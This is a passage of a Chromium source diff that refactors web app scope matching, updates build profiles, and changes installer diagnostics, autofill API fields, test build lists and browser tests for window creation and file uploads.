+std::optional<webapps::AppId> WebAppRegistrar::FindBestAppWithUrlInScope(
+    const GURL& url,
+    const FindBestAppInScopeOptions& options) const {
   if (!url.is_valid()) {
     return std::nullopt;
   }
@@ -1129,29 +1156,24 @@
 
   for (const webapps::AppId& app_id :
        GetAppIdsForAppSet(GetAppsIncludingStubs())) {
+    if (!AppMatches(app_id, options.eligibility_filter)) {
+      continue;
+    }
+
     std::optional<WebAppScope> scope = GetEffectiveScope(app_id);
     if (!scope.has_value()) {
       continue;
     }
 
-    if (GetInstallState(app_id) == proto::SUGGESTED_FROM_MIGRATION &&
-        !filter.is_app_suggested_from_migration_) {
-      continue;
-    }
-
-    if (GetInstallState(app_id) == proto::SUGGESTED_FROM_ANOTHER_DEVICE &&
-        !filter.is_suggested_app_) {
-      continue;
-    }
-
-    int score = scope->GetScopeScore(url, scope_score_options);
+    int score = scope->GetScopeScore(url, options.scope_score_options);
     if (score > 0 && score > best_score) {
       best_app_id = app_id;
       best_score = score;
     }
   }
 
-  if (best_app_id.has_value() && AppMatches(best_app_id.value(), filter)) {
+  if (best_app_id.has_value() &&
+      AppMatches(best_app_id.value(), options.filter)) {
     return best_app_id;
   }
 
diff --git a/chrome/browser/web_applications/web_app_registrar.h b/chrome/browser/web_applications/web_app_registrar.h
index 89f33806..1fd47c8 100644
--- a/chrome/browser/web_applications/web_app_registrar.h
+++ b/chrome/browser/web_applications/web_app_registrar.h
@@ -57,7 +57,7 @@
 
 namespace webapps {
 enum class WebappInstallSource;
-}
+}  // namespace webapps
 
 namespace web_app {
 namespace proto {
@@ -94,6 +94,26 @@
 using AppsHavingTrustedIconsCount =
     base::StrongAlias<class AppsHavingTrustedIconsCountTag, int>;
 
+struct FindBestAppInScopeOptions {
+  // Sets the `filter` applied to the best match only.
+  explicit FindBestAppInScopeOptions(WebAppFilter filter);
+  ~FindBestAppInScopeOptions();
+
+  // Only apps that pass this filter are considered when ranking apps for scope
+  // control over a URL.
+  WebAppFilter eligibility_filter = WebAppFilter::InstalledInChrome();
+
+  // Options passed to the scope scoring algorithm, used to determine the 'best'
+  // app.
+  WebAppScopeScoreOptions scope_score_options = {};
+
+  // After determining the best app to control a given url, this filter is
+  // checked with the final app. If it does not pass, then std::nullopt is
+  // returned. This is a nice shortcut as most callers also have a specific set
+  // of constraints the app needs to satisfy, like having OS integration, etc.
+  WebAppFilter filter;
+};
+
 // Enabling this will force all apps that are exclusively preinstalled and open
 // in a browser tab to have the default navigation capturing setting be 'on'.
 // This is needed for use-cases where a preinstalled app needs to capture
@@ -171,6 +191,8 @@
 
   // Returns the AppId of an app that best matches the specified filter.
   // 'Best' is determined by the longest scope that is a prefix of `url`.
+  // Note that this method doesn't consider suggested apps (from migration or
+  // from another device).
   //
   // Example usage:
   //    std::optional<webapps::AppId> app_ip = FindBestAppWithUrlInScope(
@@ -180,6 +202,12 @@
       const WebAppFilter& filter,
       WebAppScopeScoreOptions scope_score_options = {}) const;
 
+  // A more granular overload of the function above: allows the caller to
+  // include suggested apps, for instance.
+  std::optional<webapps::AppId> FindBestAppWithUrlInScope(
+      const GURL& url,
+      const FindBestAppInScopeOptions& options) const;
+
   // Finds all apps that have scopes that are nested within the given
   // `outer_scope`, and match the specified filter.
   std::vector<webapps::AppId> FindAllAppsNestedInUrl(
@@ -705,6 +733,9 @@
   std::vector<webapps::AppId> GetAppIdsForAppSet(const AppSet& app_set) const;
 
  private:
+  bool AppMatches(const webapps::AppId& app_id,
+                  const WebAppFilter::LeafFilter& filter) const;
+
   bool IsIsolatedApp(const webapps::AppId& app_id) const;
   bool IsIsolatedSubApp(const webapps::AppId& app_id) const;
   // Returns if the given app_id is the most recently installed application of
diff --git a/chrome/browser/webapps/web_app_offline_interactive_uitest.cc b/chrome/browser/webapps/web_app_offline_interactive_uitest.cc
index 623c3692..403eb79 100644
--- a/chrome/browser/webapps/web_app_offline_interactive_uitest.cc
+++ b/chrome/browser/webapps/web_app_offline_interactive_uitest.cc
@@ -121,8 +121,9 @@
 
   void CloseBrowser(content::WebContents* web_contents) {
     Browser* app_browser = chrome::FindBrowserWithTab(web_contents);
+    ui_test_utils::BrowserDestroyedObserver observer(app_browser);
     app_browser->window()->Close();
-    ui_test_utils::WaitForBrowserToClose(app_browser);
+    observer.Wait();
   }
 
  private:
diff --git a/chrome/build/android-arm32.pgo.txt b/chrome/build/android-arm32.pgo.txt
index b092d110..72ef75e 100644
--- a/chrome/build/android-arm32.pgo.txt
+++ b/chrome/build/android-arm32.pgo.txt
@@ -1 +1 @@
-chrome-android32-main-1770292068-1cc1850cd00f81f17d870a01891595d2dbc05094-44d24cb119bcb88dc25cd2b9ee92a7cb814f743c.profdata
+chrome-android32-main-1770335992-7b889eb569c44f0b1e6e7a50e3d5a43a8721d18e-483644a8f362763f8117786a129cedf8fd0e60c5.profdata
diff --git a/chrome/build/android-desktop-x64.pgo.txt b/chrome/build/android-desktop-x64.pgo.txt
index fc09595..88a219c 100644
--- a/chrome/build/android-desktop-x64.pgo.txt
+++ b/chrome/build/android-desktop-x64.pgo.txt
@@ -1 +1 @@
-chrome-android-desktop-x64-main-1770271185-518f43d6962c35959522e2a127750b87bee680da-5241de589aebac702808661ba94bf0d986d0e274.profdata
+chrome-android-desktop-x64-main-1770357518-40ab9270f0525639bfd48e1070bcfe98e70c820c-cd6d828dd3bdbb56f07edcb36c161f3b61000c00.profdata
diff --git a/chrome/build/mac-arm.pgo.txt b/chrome/build/mac-arm.pgo.txt
index d039bba..a75dff9 100644
--- a/chrome/build/mac-arm.pgo.txt
+++ b/chrome/build/mac-arm.pgo.txt
@@ -1 +1 @@
-chrome-mac-arm-main-1770307167-2964bbf9be7cab928e9d078d4e849fb451c42d0b-959483b6df284d32c094e9a8f4ab0c47377664c2.profdata
+chrome-mac-arm-main-1770364716-f02e3bbd07575aa9aa824e4c8f93b8ac1b4f80ea-486271993447b661f54bb9adea18f7170fe2c846.profdata
diff --git a/chrome/build/mac.pgo.txt b/chrome/build/mac.pgo.txt
index ea6e7511..e227d3c4 100644
--- a/chrome/build/mac.pgo.txt
+++ b/chrome/build/mac.pgo.txt
@@ -1 +1 @@
-chrome-mac-main-1770292068-03eb902c91f97036edada36f3c527a71ed772680-44d24cb119bcb88dc25cd2b9ee92a7cb814f743c.profdata
+chrome-mac-main-1770357518-630b9500a8770f22bda55869145f830e0f7fad53-cd6d828dd3bdbb56f07edcb36c161f3b61000c00.profdata
diff --git a/chrome/build/win-arm64.pgo.txt b/chrome/build/win-arm64.pgo.txt
index 84ce333f..1f5e50609 100644
--- a/chrome/build/win-arm64.pgo.txt
+++ b/chrome/build/win-arm64.pgo.txt
@@ -1 +1 @@
-chrome-win-arm64-main-1770292068-155bf9071966d77591eb5012f46f1a40e3c1e58d-44d24cb119bcb88dc25cd2b9ee92a7cb814f743c.profdata
+chrome-win-arm64-main-1770357518-3c7f809932169c2cf5eb4edcab8ba0ac9cb45ef3-cd6d828dd3bdbb56f07edcb36c161f3b61000c00.profdata
diff --git a/chrome/build/win32.pgo.txt b/chrome/build/win32.pgo.txt
index 883f3c3..086a505 100644
--- a/chrome/build/win32.pgo.txt
+++ b/chrome/build/win32.pgo.txt
@@ -1 +1 @@
-chrome-win32-main-1770271185-356c8ef20e3b9b09bb269dabb5c36631ab7a4946-5241de589aebac702808661ba94bf0d986d0e274.profdata
+chrome-win32-main-1770325175-afdee71171ca78dbb23cd7001cfa7c7d56a28a79-a671b2414aa3e22c8b0e60df61630f0c27a58137.profdata
diff --git a/chrome/build/win64.pgo.txt b/chrome/build/win64.pgo.txt
index 380e625..0b46a1d9 100644
--- a/chrome/build/win64.pgo.txt
+++ b/chrome/build/win64.pgo.txt
@@ -1 +1 @@
-chrome-win64-main-1770281816-b48710f96a60c6d93f237f6d69533bd182d212e7-280254c35dc9c001da5d3767bee360c685008fe9.profdata
+chrome-win64-main-1770325175-2fa839ab42926f611f3510a4d5582a170e536c8c-a671b2414aa3e22c8b0e60df61630f0c27a58137.profdata
diff --git a/chrome/common/extensions/api/autofill_private.idl b/chrome/common/extensions/api/autofill_private.idl
index 6591ae6..f01c904 100644
--- a/chrome/common/extensions/api/autofill_private.idl
+++ b/chrome/common/extensions/api/autofill_private.idl
@@ -419,6 +419,8 @@
     DOMString nickname;
     // Whether the user should be authenticated to view the entity instance.
     boolean? shouldAuthenticateToView;
+    // Whether the entity is (or should be) stored in Google Wallet servers.
+    boolean? storedInWallet;
   };
 
   // Contains the minimum amount of information needed to display an entity
diff --git a/chrome/common/pref_names.h b/chrome/common/pref_names.h
index 6b1f7e9..7e4b77eb 100644
--- a/chrome/common/pref_names.h
+++ b/chrome/common/pref_names.h
@@ -3349,6 +3349,16 @@
 
 inline constexpr char kForegroundLaunchOnLogin[] =
     "launch_on_login.foreground.enabled";
+
+// base::Time containing time at which the startup launch infobar was last
+// dismissed by the user.
+inline constexpr char kStartupLaunchInfobarLastDeclinedTime[] =
+    "launch_on_login.infobar_last_declined_time";
+
+// Int representing the number of times the user has dismissed the startup
+// launch infobar.
+inline constexpr char kStartupLaunchInfobarDeclinedCount[] =
+    "launch_on_login.infobar_declined_count";
 #endif
 
 // A boolean pref which determines whether the QR Code generator feature is
diff --git a/chrome/installer/setup/install.cc b/chrome/installer/setup/install.cc
index aa11a38..e5a9a6c8 100644
--- a/chrome/installer/setup/install.cc
+++ b/chrome/installer/setup/install.cc
@@ -14,6 +14,7 @@
 
 #include "base/base_paths.h"
 #include "base/command_line.h"
+#include "base/debug/dump_without_crashing.h"
 #include "base/files/file_path.h"
 #include "base/files/file_util.h"
 #include "base/files/important_file_writer.h"
@@ -21,6 +22,7 @@
 #include "base/numerics/safe_conversions.h"
 #include "base/path_service.h"
 #include "base/process/launch.h"
+#include "base/rand_util.h"
 #include "base/strings/strcat.h"
 #include "base/strings/strcat_win.h"
 #include "base/strings/string_number_conversions.h"
@@ -28,6 +30,7 @@
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/time/time.h"
+#include "base/version_info/channel.h"
 #include "base/win/shortcut.h"
 #include "chrome/install_static/install_details.h"
 #include "chrome/install_static/install_util.h"
@@ -164,6 +167,30 @@
   }
 }
 
+// Returns true if a diagnostic crash dump should be uploaded in case of a
+// failure while installing or updating the browser.
+bool ShouldSampleFailures() {
+  // Sample across channels based on historic error rates.
+  double report_probability = 0.0;
+  switch (install_static::GetChromeChannel()) {
+    case version_info::Channel::CANARY:
+      report_probability = 0.05;
+      break;
+    case version_info::Channel::DEV:
+      report_probability = 0.01;
+      break;
+    case version_info::Channel::BETA:
+      report_probability = 0.03;
+      break;
+    case version_info::Channel::STABLE:
+      report_probability = 0.00005;
+      break;
+    default:
+      return false;
+  }
+  return base::RandDouble() < report_probability;
+}
+
 // This function installs a new version of Chrome to the specified location.
 //
 // install_params: See install_params.h
@@ -195,6 +222,10 @@
   installer_state.SetStage(EXECUTING);
 
   if (!install_list->Do()) {
+    if (ShouldSampleFailures()) {
+      // TODO(crbug.com/40462942): Remove after analyzing results.
+      base::debug::DumpWithoutCrashing();
+    }
     installer_state.SetStage(ROLLINGBACK);
     InstallStatus result = base::PathExists(new_chrome_exe) &&
                                    current_version.IsValid() &&
diff --git a/chrome/renderer/net/net_error_helper_core_unittest.cc b/chrome/renderer/net/net_error_helper_core_unittest.cc
index 67d60af4..c486f37 100644
--- a/chrome/renderer/net/net_error_helper_core_unittest.cc
+++ b/chrome/renderer/net/net_error_helper_core_unittest.cc
@@ -478,12 +478,6 @@
           {{"summary.msg", failed_url_host}},
       },
       {
-          "case IDS_ERRORPAGES_SUMMARY_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR",
-          net::ERR_BLOCKED_IN_INCOGNITO_BY_ADMINISTRATOR,
-          error_page::Error::kNetErrorDomain,
-          {{"summary.msg", failed_url_host}},
-      },
-      {
           "case IDS_ERRORPAGES_SUMMARY_CONNECTION_FAILED",
           net::ERR_CONNECTION_FAILED,
           error_page::Error::kNetErrorDomain,
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 92aeffc..6730bd5 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -1646,6 +1646,7 @@
       "../browser/extensions/api/webrtc_logging_private/webrtc_logging_private_apitest.cc",
       "../browser/extensions/api/webstore_private/webstore_private_apitest.cc",
       "../browser/extensions/background_script_executor_browsertest.cc",
+      "../browser/extensions/chrome_test_extension_loader_browsertest.cc",
       "../browser/extensions/commands/command_service_browsertest.cc",
       "../browser/extensions/component_extension_browsertest.cc",
       "../browser/extensions/content_capabilities_browsertest.cc",
@@ -1662,6 +1663,7 @@
       "../browser/extensions/extension_action_runner_browsertest.cc",
       "../browser/extensions/extension_browsertest_browsertest.cc",
       "../browser/extensions/extension_dom_apitest.cc",
+      "../browser/extensions/extension_function_registration_browsertest.cc",
       "../browser/extensions/extension_icon_source_apitest.cc",
       "../browser/extensions/extension_incognito_apitest.cc",
       "../browser/extensions/extension_install_prompt_browsertest.cc",
@@ -1828,13 +1830,16 @@
       "//chrome/browser/data_saver",
       "//chrome/browser/devtools",
       "//chrome/browser/devtools:test_support",
+      "//chrome/browser/prefs:util",
       "//chrome/browser/preloading:prefs",
       "//chrome/browser/preloading:test_support",
+      "//chrome/browser/profiles/keep_alive",
       "//chrome/browser/sync/test/integration:sync_integration_test_support",
       "//chrome/browser/ui/autofill",
       "//components/infobars/content",
       "//components/javascript_dialogs",
       "//components/language/core/browser",
+      "//components/memory_pressure:test_support",
       "//components/variations/service",
       "//ui/compositor",
     ]
@@ -2518,6 +2523,7 @@
       "//chrome/browser/first_party_sets",
       "//chrome/browser/gcm",
       "//chrome/browser/headless:browser_tests",
+      "//chrome/browser/history",
       "//chrome/browser/icon_transcoder:browser_tests",
       "//chrome/browser/image_decoder:browser_tests",
       "//chrome/browser/image_fetcher",
@@ -3769,6 +3775,7 @@
       "../browser/ui/views/bookmarks/bookmark_test_utils.cc",
       "../browser/ui/views/bookmarks/bookmark_test_utils.h",
       "../browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_bar_browsertest.cc",
+      "../browser/ui/views/bookmarks/saved_tab_groups/saved_tab_group_tabs_menu_model_browsertest.cc",
       "../browser/ui/views/confirm_bubble_views_browsertest.cc",
       "../browser/ui/views/content_setting_bubble_contents_browsertest.cc",
       "../browser/ui/views/content_test_utils.cc",
@@ -4288,11 +4295,9 @@
     if (enable_on_device_translation) {
       sources += [ "//chrome/browser/on_device_translation/on_device_translation_browsertest.cc" ]
       deps += [
-        "//chrome/browser/ai:test_support",
         "//chrome/browser/on_device_translation",
         "//chrome/browser/on_device_translation:test_support",
         "//components/component_updater:test_support",
-        "//components/on_device_ai:test_support",
         "//components/on_device_translation",
         "//components/on_device_translation:test_support",
         "//components/on_device_translation/service:test_support",
@@ -4810,7 +4815,6 @@
         "../browser/extensions/cache_wasm_extension_browsertest.cc",
         "../browser/extensions/calculator_app_browsertest.cc",
         "../browser/extensions/chrome_app_api_browsertest.cc",
-        "../browser/extensions/chrome_test_extension_loader_browsertest.cc",
         "../browser/extensions/chrome_theme_url_browsertest.cc",
         "../browser/extensions/content_verifier_hash_fetch_behavior_browsertest.cc",
         "../browser/extensions/cross_origin_xhr_apitest.cc",
@@ -4826,7 +4830,6 @@
         "../browser/extensions/extension_disabled_ui_browsertest.cc",
         "../browser/extensions/extension_dom_clipboard_apitest.cc",
         "../browser/extensions/extension_fileapi_apitest.cc",
-        "../browser/extensions/extension_function_registration_test.cc",
         "../browser/extensions/extension_functional_browsertest.cc",
         "../browser/extensions/extension_geolocation_apitest.cc",
         "../browser/extensions/extension_get_views_apitest.cc",
@@ -7059,6 +7062,7 @@
     "//chrome/browser/gcm",
     "//chrome/browser/gcm:unit_tests",
     "//chrome/browser/google:unit_tests",
+    "//chrome/browser/history",
     "//chrome/browser/media:unittests",
     "//chrome/browser/media/prefs",
     "//chrome/browser/media/prefs:unit_tests",
@@ -7918,6 +7922,7 @@
       "../browser/signin/bound_session_credentials/bound_session_request_throttled_handler_browser_impl_unittest.cc",
       "../browser/signin/bound_session_credentials/session_binding_helper_unittest.cc",
       "../browser/signin/bound_session_credentials/throttled_gaia_auth_fetcher_unittest.cc",
+      "../browser/signin/bound_session_credentials/unexportable_key_provider_config_unittest.cc",
       "../browser/signin/bound_session_credentials/unexportable_key_service_factory_unittest.cc",
       "../renderer/bound_session_credentials/bound_session_request_throttled_handler_renderer_impl_unittest.cc",
       "../renderer/bound_session_credentials/bound_session_request_throttled_in_renderer_manager_unittest.cc",
@@ -7934,7 +7939,6 @@
       sources += [
         "../browser/signin/bound_session_credentials/unexportable_key_obsolete_profile_garbage_collector_mac_unittest.cc",
         "../browser/signin/bound_session_credentials/unexportable_key_profile_garbage_collection_service_factory_mac_unittest.cc",
-        "../browser/signin/bound_session_credentials/unexportable_key_provider_config_mac_unittest.cc",
       ]
     }
   }
@@ -9563,6 +9567,7 @@
       "../browser/extensions/updater/extension_update_client_command_line_config_policy_unittest.cc",
       "../browser/extensions/updater/extension_updater_switches_unittest.cc",
       "../browser/extensions/updater/extension_updater_unittest.cc",
+      "../browser/extensions/user_script_world_configuration_manager_unittest.cc",
       "../browser/ui/webui/extensions/extensions_internals_unittest.cc",
       "../common/extensions/api/storage/storage_schema_manifest_handler_unittest.cc",
       "../common/extensions/manifest_handlers/automation_unittest.cc",
@@ -9710,7 +9715,6 @@
       "../browser/extensions/safe_browsing_verdict_handler_unittest.cc",
       "../browser/extensions/update_install_gate_unittest.cc",
       "../browser/extensions/user_script_listener_unittest.cc",
-      "../browser/extensions/user_script_world_configuration_manager_unittest.cc",
       "../browser/extensions/warning_badge_service_unittest.cc",
       "../browser/extensions/webstore_installer_unittest.cc",
       "../browser/extensions/zipfile_installer_unittest.cc",
@@ -12302,7 +12306,10 @@
       ]
 
       if (use_aura) {
-        sources += [ "../browser/ui/views/autofill/autofill_accessibility_win_browsertest.cc" ]
+        sources += [
+          "../browser/accessibility/aria_notify_uia_browsertest_win.cc",
+          "../browser/ui/views/autofill/autofill_accessibility_win_browsertest.cc",
+        ]
       }
 
       deps += [
diff --git a/chrome/test/android/javatests/src/org/chromium/chrome/test/util/OmniboxTestUtils.java b/chrome/test/android/javatests/src/org/chromium/chrome/test/util/OmniboxTestUtils.java
index a5f4ade..841f1f2 100644
--- a/chrome/test/android/javatests/src/org/chromium/chrome/test/util/OmniboxTestUtils.java
+++ b/chrome/test/android/javatests/src/org/chromium/chrome/test/util/OmniboxTestUtils.java
@@ -411,7 +411,7 @@
                 () -> {
                     mUrlBar.setText(userText);
                     // Push this to the model as well.
-                    mUrlBar.setAutocompleteText(userText, "", null);
+                    mUrlBar.setAutocompleteText(userText, "", null, null);
                 });
         checkText(Matchers.equalTo(userText), null);
     }
@@ -450,7 +450,8 @@
         ThreadUtils.runOnUiThreadBlocking(
                 () -> {
                     userText.set(mUrlBar.getTextWithoutAutocomplete());
-                    mUrlBar.setAutocompleteText(userText.get(), autocompleteText, additionalText);
+                    mUrlBar.setAutocompleteText(
+                            userText.get(), autocompleteText, additionalText, null);
                 });
         checkText(
                 Matchers.equalTo(userText.get()),
diff --git a/chrome/test/base/in_process_browser_test.cc b/chrome/test/base/in_process_browser_test.cc
index b2815811..3072518 100644
--- a/chrome/test/base/in_process_browser_test.cc
+++ b/chrome/test/base/in_process_browser_test.cc
@@ -648,8 +648,9 @@
 
 void InProcessBrowserTest::CloseBrowserSynchronously(
     BrowserWindowInterface* browser) {
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   CloseBrowserAsynchronously(browser);
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
 }
 
 void InProcessBrowserTest::CloseBrowserAsynchronously(
diff --git a/chrome/test/base/save_desktop_snapshot_browsertest.cc b/chrome/test/base/save_desktop_snapshot_browsertest.cc
index e86c55e5..b84e6a76 100644
--- a/chrome/test/base/save_desktop_snapshot_browsertest.cc
+++ b/chrome/test/base/save_desktop_snapshot_browsertest.cc
@@ -38,7 +38,7 @@
   auto snapshot_path = SaveDesktopSnapshot();
 
 #if BUILDFLAG(IS_OZONE)
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+  if (ui::OzonePlatform::RunningOnWaylandForTest()) {
     // DesktopCapturer is not well supported for wayland.
     // SaveDesktopSnapshot() should return a empty file path instead of crash.
     ASSERT_TRUE(snapshot_path.empty());
diff --git a/chrome/test/data/extensions/api_test/autofill_private/test.js b/chrome/test/data/extensions/api_test/autofill_private/test.js
index e62dab5b..9d043fed 100644
--- a/chrome/test/data/extensions/api_test/autofill_private/test.js
+++ b/chrome/test/data/extensions/api_test/autofill_private/test.js
@@ -69,6 +69,7 @@
   guid: GUID,
   nickname: 'Personal car',
   shouldAuthenticateToView: false,
+  storedInWallet: false,
 };
 
 var UPDATED_ENTITY_INSTANCE = structuredClone(ENTITY_INSTANCE);
diff --git a/chrome/test/data/extensions/api_test/windows/create/a.html b/chrome/test/data/extensions/api_test/windows/create/a.html
new file mode 100644
index 0000000..62d85fd
--- /dev/null
+++ b/chrome/test/data/extensions/api_test/windows/create/a.html
@@ -0,0 +1,13 @@
+<!--
+Copyright 2026 The Chromium Authors
+Use of this source code is governed by a BSD-style license that can be
+found in the LICENSE file.
+-->
+<html>
+  <head>
+    <title>A</title>
+  </head>
+  <body>
+    <h1>A</h1>
+  </body>
+</html>
diff --git a/chrome/test/data/extensions/api_test/windows/create/b.html b/chrome/test/data/extensions/api_test/windows/create/b.html
new file mode 100644
index 0000000..3605c9a
--- /dev/null
+++ b/chrome/test/data/extensions/api_test/windows/create/b.html
@@ -0,0 +1,13 @@
+<!--
+Copyright 2026 The Chromium Authors
+Use of this source code is governed by a BSD-style license that can be
+found in the LICENSE file.
+-->
+<html>
+  <head>
+    <title>B</title>
+  </head>
+  <body>
+    <h1>B</h1>
+  </body>
+</html>
diff --git a/chrome/test/data/extensions/api_test/windows/create/manifest.json b/chrome/test/data/extensions/api_test/windows/create/manifest.json
index cbb8fbd..2c5faeba 100644
--- a/chrome/test/data/extensions/api_test/windows/create/manifest.json
+++ b/chrome/test/data/extensions/api_test/windows/create/manifest.json
@@ -5,5 +5,8 @@
   "description": "end-to-end browser test for chrome.windows.create API",
   "background": {
     "scripts": ["test.js"]
-  }
+  },
+  "permissions": [
+    "tabs"
+  ]
 }
diff --git a/chrome/test/data/extensions/api_test/windows/create/test.js b/chrome/test/data/extensions/api_test/windows/create/test.js
index 640f8c7..8b4b3d3 100644
--- a/chrome/test/data/extensions/api_test/windows/create/test.js
+++ b/chrome/test/data/extensions/api_test/windows/create/test.js
@@ -2,17 +2,22 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
+async function isAndroid() {
+  const info = await chrome.runtime.getPlatformInfo();
+  return info.os === 'android';
+}
+
 chrome.test.runTests([
-  function typeNormal() {
-    chrome.windows.create({'type': 'normal'}, chrome.test.callbackPass(w => {
-      chrome.test.assertEq('normal', w.type);
-    }));
+  async function typeNormal() {
+    const window = await chrome.windows.create({'type': 'normal'});
+    chrome.test.assertEq('normal', window.type);
+    await chrome.windows.remove(window.id);  // cleanup
+    chrome.test.succeed();
   },
   async function typePopup() {
-    const w = await new Promise((resolve) => {
-        chrome.windows.create({'type': 'popup'}, resolve);
-    });
+    const w = await chrome.windows.create({'type': 'popup'});
     chrome.test.assertEq('popup', w.type);
+    await chrome.windows.remove(w.id);  // cleanup
     chrome.test.succeed();
   },
   function sizeTooBig() {
@@ -29,4 +34,89 @@
       chrome.test.succeed();
     }));
   },
+  async function createDataHasTabId() {
+    // Arrange: Create a new window with one tab and get that tab's ID.
+    const window1 = await chrome.windows.create({
+      'type': 'normal',
+      'url': ['a.html'],
+    });
+    chrome.test.assertEq(1, window1.tabs.length);
+    const tabId = window1.tabs[0].id;
+
+    // Act: Create another window with the tab ID we got from the 1st window.
+    const window2 = await chrome.windows.create({
+      'type': 'normal',
+      'tabId': tabId,
+    });
+
+    // Assert: The 2nd window should have one active tab with the 1st window's
+    // tab ID.
+    chrome.test.assertEq(1, window2.tabs.length);
+    chrome.test.assertTrue(window2.tabs[0].active);
+    chrome.test.assertEq(tabId, window2.tabs[0].id);
+
+    // Cleanup.
+    //
+    // Note that on Android, a window will show the grid tab switcher when
+    // there are no tabs, so we should explicitly remove window1.
+    //
+    // Window1 will be automatically closed on Windows/Mac/Linux.
+    if (await isAndroid()) {
+      await chrome.windows.remove(window1.id);
+    }
+    await chrome.windows.remove(window2.id);
+
+    chrome.test.succeed();
+  },
+  async function createDataHasUrlAndTabId() {
+    // Arrange: Create a new window with one tab and get that tab's ID.
+    const window1 = await chrome.windows.create({
+      'type': 'normal',
+      'url': ['a.html'],
+    });
+    chrome.test.assertEq(1, window1.tabs.length);
+    const tabId = window1.tabs[0].id;
+
+    // Act: Create another window with a URL and the tab ID we got from the 1st
+    // window.
+    const window2 = await chrome.windows.create({
+      'type': 'normal',
+      'url': ['b.html'],
+      'tabId': tabId,
+    });
+
+    // Assert: The 2nd window should have two tabs.
+    chrome.test.assertEq(2, window2.tabs.length);
+
+    // Assert: The 1st tab should be active.
+    chrome.test.assertTrue(window2.tabs[0].active);
+    chrome.test.assertFalse(window2.tabs[1].active);
+
+    // Assert: The 1st tab should be b.html.
+    // Note that navigation is asynchronous, so b.html is either "pendingUrl"
+    // or "url".
+    chrome.test.assertFalse(tabId === window2.tabs[0].id);
+    chrome.test.assertEq(
+        chrome.runtime.getURL('b.html'),
+        window2.tabs[0].pendingUrl ?? window2.tabs[0].url);
+
+    // Assert: The 2nd tab should be the "a.html" tab from the 1st window.
+    chrome.test.assertEq(tabId, window2.tabs[1].id);
+    chrome.test.assertEq(
+        chrome.runtime.getURL('a.html'),
+        window2.tabs[1].pendingUrl ?? window2.tabs[1].url);
+
+    // Cleanup.
+    //
+    // Note that on Android, a window will show the grid tab switcher when
+    // there are no tabs, so we should explicitly remove window1.
+    //
+    // Window1 will be automatically closed on Windows/Mac/Linux.
+    if (await isAndroid()) {
+      await chrome.windows.remove(window1.id);
+    }
+    await chrome.windows.remove(window2.id);
+
+    chrome.test.succeed();
+  },
 ]);
diff --git a/chrome/test/data/webui/contextual_tasks/composebox_test.ts b/chrome/test/data/webui/contextual_tasks/composebox_test.ts
index 89aec2b0..d3c8f28d 100644
--- a/chrome/test/data/webui/contextual_tasks/composebox_test.ts
+++ b/chrome/test/data/webui/contextual_tasks/composebox_test.ts
@@ -2140,6 +2140,110 @@
     assertEquals(0, composebox.$.context.files_.size);
   });
 
+  test('Composebox upload disabled when uploading files', async () => {
+    composebox.$.context.searchboxLayoutMode = '';
+    composebox.$.context.contextMenuEnabled_ = false;
+    await composebox.updateComplete;
+    await composebox.$.context.updateComplete;
+    await microtasksFinished();
+
+    assertFalse(
+        !!composebox.$.context.$.imageUploadButton.disabled,
+        'Upload button should be enabled');
+
+    await uploadFileAndVerify(
+        FAKE_TOKEN_STRING, new File(['foo'], 'foo.jpg', {type: 'image/jpeg'}));
+
+    // Other processing state should result in not ready to submit.
+    searchboxCallbackRouterRemote.onContextualInputStatusChanged(
+        FAKE_TOKEN_STRING,
+        FileUploadStatus.kProcessingSuggestSignalsReady,
+        /*error_type=*/ null,
+    );
+
+    await microtasksFinished();
+    await composebox.$.context.updateComplete;
+    await composebox.updateComplete;
+    assertEquals(
+        1, composebox.getRemainingFilesToUpload().size,
+        '1 File should be uploading');
+    assertFalse(
+        composebox.fileUploadsComplete,
+        'Files should not be finished uploading');
+    assertTrue(
+        !!composebox.$.context.$.imageUploadButton.disabled,
+        'Upload button should be disabled while uploading');
+
+    searchboxCallbackRouterRemote.onContextualInputStatusChanged(
+        FAKE_TOKEN_STRING,
+        FileUploadStatus.kUploadSuccessful,
+        /*error_type=*/ null,
+    );
+
+    await microtasksFinished();
+    await composebox.$.context.updateComplete;
+    await composebox.updateComplete;
+
+    assertEquals(
+        0, composebox.getRemainingFilesToUpload().size,
+        '0 Files should be uploading');
+    assertTrue(
+        composebox.fileUploadsComplete, 'Files should be finished uploading');
+    assertFalse(
+        !!composebox.$.context.$.imageUploadButton.disabled,
+        'Upload button should be re-enabled after upload');
+  });
+
+  test(
+      'Composebox upload disabled when uploading files with contextMenu',
+      async () => {
+        composebox.$.context.searchboxLayoutMode = '';
+        composebox.$.context.contextMenuEnabled_ = true;
+        await composebox.updateComplete;
+        await composebox.$.context.updateComplete;
+        await microtasksFinished();
+        const button =
+            composebox.$.context.$.contextEntrypoint.shadowRoot.querySelector(
+                '#entrypoint');
+        assertTrue(!!button, 'Context menu button should exist');
+        assertFalse(!!button.disabled);
+
+        await uploadFileAndVerify(
+            FAKE_TOKEN_STRING,
+            new File(['foo'], 'foo.jpg', {type: 'image/jpeg'}));
+
+        // Other processing state should result in not ready to submit.
+        searchboxCallbackRouterRemote.onContextualInputStatusChanged(
+            FAKE_TOKEN_STRING,
+            FileUploadStatus.kProcessingSuggestSignalsReady,
+            /*error_type=*/ null,
+        );
+
+        await microtasksFinished();
+        await composebox.$.context.updateComplete;
+        await composebox.updateComplete;
+
+        assertEquals(
+            1, composebox.getRemainingFilesToUpload().size,
+            '1 File should be uploading');
+        assertFalse(
+            composebox.fileUploadsComplete,
+            'Files should not be finished uploading');
+
+        assertTrue(!!button.disabled);
+
+        searchboxCallbackRouterRemote.onContextualInputStatusChanged(
+            FAKE_TOKEN_STRING,
+            FileUploadStatus.kUploadSuccessful,
+            /*error_type=*/ null,
+        );
+
+        await microtasksFinished();
+        await composebox.$.context.updateComplete;
+
+        assertFalse(!!button.disabled);
+      });
+
   test('queries autocomplete on load when isZeroState is true', async () => {
     // Clear the body and reset the mock to test a fresh instance.
